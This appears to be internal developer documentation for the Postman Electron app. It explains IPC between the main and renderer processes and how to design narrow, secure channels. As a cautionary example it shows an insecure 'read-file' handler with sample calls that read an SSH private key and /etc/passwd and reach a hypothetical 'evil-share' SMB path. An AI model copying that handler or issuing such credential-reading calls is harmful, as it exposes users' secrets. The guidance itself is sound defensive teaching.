Skip to main content

IPC communication

postman-app runs as an Electron app, which means it has two separate processes running simultaneously: the main process (Node.js) and the renderer process (the web app you see). These two processes are isolated from each other by design — they cannot share memory, call each other's functions directly, or access each other's variables.

They can only communicate via IPC — Inter-Process Communication.


Why the isolation exists

This is a deliberate security design from Electron. The renderer process is essentially a browser. It runs JavaScript, renders HTML, and can execute user-provided scripts (like Postman test scripts). If the renderer could directly call Node.js APIs, a malicious script could read your files, access the network freely, or do other harmful things.

The main process is trusted. The renderer is not (by default). IPC is the controlled bridge between them.


The simple mental model

Think of it as a telephone system between two offices, with a narrow, pre-defined menu of operations the renderer is allowed to ask for:

┌──────────────────────────────────────────────┐
│ RENDERER (the web app) │
│ "I need the installed app version" │
│ │
│ pm.sdk.IPC.invoke('app:get-version') │
└────────────────────┬─────────────────────────┘
│ IPC message

┌──────────────────────────────────────────────┐
│ MAIN PROCESS (Node.js) │
│ "OK, here's the version string" │
│ │
│ pm.sdk.IPC.handle('app:get-version', ...) │
└──────────────────────────────────────────────┘

The renderer sends a message on a specific, named channel with typed arguments. The main process has previously registered a handler for that exact channel, does the work (which can use Node.js APIs), and sends back a response. There is no general-purpose "ask the main process to do X" — every supported operation is its own channel.


How the renderer talks to main: pm.sdk.IPC

Feature code in the renderer never touches Electron's ipcRenderer directly. The Desktop Platform team maintains a small SDK that exposes the supported IPC surface as pm.sdk.IPC:

// Request/response — wait for a result
const version = await pm.sdk.IPC.invoke('app:get-version');

// Fire-and-forget — no return value
pm.sdk.IPC.send('telemetry:track', { event: 'request_sent' });

// Subscribe to main → renderer events
const unsubscribe = pm.sdk.IPC.subscribe('tunnel:reprovision-required', (payload) => {
// ... handle event ...
});

That's the entire surface app developers need. The lower-level Electron details (how the message gets across the process boundary, how arguments are serialized, how the handler is registered, how the bridge is wired up at startup) are owned by the Platform team and intentionally not exposed — app code touching them is a code-review red flag.

If you find yourself needing an operation that isn't already callable via pm.sdk.IPC or a platform-libs wrapper, that is a request to the Desktop Platform team, not something to add directly from feature code. See Adding a new IPC channel below.


What goes through IPC

Most feature code never needs to touch IPC at all. IPC is only needed for things the renderer process cannot do on its own:

WhatWhy IPC
Reading/writing filesRenderer cannot access filesystem
Opening native file dialogsOS-level UI, requires main process
App version and update infoElectron main process manages this
Window managementOpen new windows, minimize, maximize
Deep links (custom URL protocol)postman:// URLs are handled by main
Native menusMenu bar is managed by main
Desktop notificationsOS-level notification APIs
Certificate managementSSL certs, app-level auth
Local server (Postman Agent)Runs as a separate Node.js process

If your feature is purely UI — showing data, handling user input, making HTTP API calls — you do not need IPC. The renderer can make HTTP requests directly via gateway-service. IPC is for reaching outside the browser sandbox.


IPC in the codebase

IPC channels are defined in src/main/ and corresponding client-side wrappers live in platform packages. You will see references to IPC throughout the codebase, but platform packages abstract the low-level details. The example below uses illustrative names — the actual wrapper, channel name, and package vary by feature; check pm.sdk.IPC consumers in src/renderer/ and src/main/ for real instances (e.g. pm.sdk.IPC.invoke(IPC_START_TUNNEL_FORWARDING, …) in WebhooksService, pm.sdk.IPC.handle('getLoggedInUsers', …) in AuthHandler).

// What your feature code calls (the wrapper from a platform-libs package):
const folder = await openDirectoryDialog();

// Under the hood, that wrapper issues a narrow, purpose-specific IPC call:
// pm.sdk.IPC.invoke('dialog:open-directory')

// Which is handled in src/main/ by code registered by the Platform team:
pm.sdk.IPC.handle('dialog:open-directory', async () => {
const { canceled, filePaths } = await dialog.showOpenDialog({
properties: ['openDirectory'],
});
return canceled ? null : filePaths[0];
});

Notice what the channel does not accept: the renderer cannot pass a properties array, file filters, default paths, or any other arbitrary showOpenDialog options. The handler chose one specific dialog mode and locked it in. If the renderer also needs a file picker, that's a separate channel (dialog:open-file) with its own narrow contract — not an extra argument to a generic dialog:open.

As a feature developer, look for existing platform-lib packages before implementing your own IPC communication. The Desktop Platform team owns the IPC channels and controls what is exposed to the renderer.


Designing narrow IPC channels

This is the single most important rule for anything IPC-shaped in postman-app:

An IPC channel should do one specific thing, and accept the smallest possible set of arguments to do it. The renderer must never be able to pass a value that lets the handler "do something else".

The renderer is untrusted. It runs user-provided test scripts, third-party MCP server output, content loaded from cloud workspaces, and other inputs the app does not control. Any IPC channel exposed to the renderer is reachable by all of that code. A broad channel = a broad attack surface.

A broad channel is dangerous

// Don't do this. Don't ever do this.
pm.sdk.IPC.handle('read-file', (_, path: string) => {
return fs.promises.readFile(path, 'utf8');
});

Any code running in the renderer — including a malicious test script that the user pasted from the internet — can now do:

await pm.sdk.IPC.invoke('read-file', '/Users/<you>/.ssh/id_rsa');
await pm.sdk.IPC.invoke('read-file', '/etc/passwd');
await pm.sdk.IPC.invoke('read-file', '\\\\evil-share\\trigger-smb-relay');

The handler does exactly what it was told to do. The bug is the design — read-file is a primitive, not a feature. Once read-file exists, every renderer-side caller becomes a potential exfiltration path, and no amount of input validation on the path closes the gap.

The same pitfall shows up in subtler forms:

  • exec(command) — full shell
  • fetch(url, options) — proxies SSRF straight through the trust boundary
  • dialog:open(options)options.defaultPath lets the renderer steer the user toward a sensitive directory
  • spawn(binary, args) — arbitrary code execution

A narrow channel is safe

Reframe each channel around a specific feature the user is allowed to perform, with arguments that name what — never how or where:

// Renderer only ever asks for certs the app already owns.
pm.sdk.IPC.handle('client-certificate:read', async (_, certId: string) => {
const cert = await certStore.get(certId); // certStore validates ownership
return cert?.contents ?? null;
});

// One specific dialog, no caller-controlled options.
pm.sdk.IPC.handle('dialog:open-directory', () =>
dialog.showOpenDialog({ properties: ['openDirectory'] })
);

// Reads a known, app-managed file. No paths from the renderer.
pm.sdk.IPC.handle('app:read-log-file', () =>
fs.promises.readFile(getAppLogPath(), 'utf8')
);

Design checklist

Before opening a request for a new IPC channel, sanity-check the design against this list:

  • One channel = one operation. If you find yourself reaching for a type or action discriminator argument, split it into N channels.
  • Name it feature:verb-noun, not read-file or do-thing. client-certificate:read, dialog:open-directory, tunnel:start, app:get-version.
  • No raw filesystem paths from the renderer. Pass an ID, a workspace-relative key, or an opaque token. Resolve the actual path on the main side.
  • No URLs, shell commands, or binary names from the renderer. Same reason.
  • Validate every argument in the handler — types, ranges, ownership.
  • Return the minimum necessary data. Don't return a whole User object when the renderer only needs a display name.
  • If the renderer needs five variations of an operation, that's five channels, not one channel with a config object.

If your design relies on the renderer passing arbitrary paths, URLs, options, or commands, redesign before opening the request. That's the most common reason the Platform team will push back.


Adding a new IPC channel

The renderer-side ergonomics are stable: pm.sdk.IPC.invoke('channel:name', payload). The main-side handler and the SDK wiring are owned by the Desktop Platform team. So the workflow is:

  1. Design the channel against the checklist above. Write down the exact channel name, the typed argument shape, and the typed return shape.
  2. Open a request to the Desktop Platform team describing the feature you need and the proposed channel contract. Link the calling feature code if it already exists.
  3. The Platform team implements the handler in src/main/, registers it on pm.sdk.IPC, and (where it makes sense) ships an ergonomic wrapper in a platform-libs/ package.
  4. Call it from feature code via the wrapper, or via pm.sdk.IPC.invoke('feature:specific-action', payload) if no wrapper exists yet.

Never reach for Electron's ipcRenderer directly from feature code, never add channels to the SDK from outside the Platform team, and never broaden an existing channel's argument shape to fit a new caller — open a new narrow channel instead. These rules are what keep the IPC surface auditable and prevent silent security regressions.


References

  • src/main/ — all main process code including IPC handlers
  • platform-libs/ipc-abort/ — utility for aborting long-running IPC operations
  • AGENTS.md /ipc-communication skill — the authoritative guide for IPC changes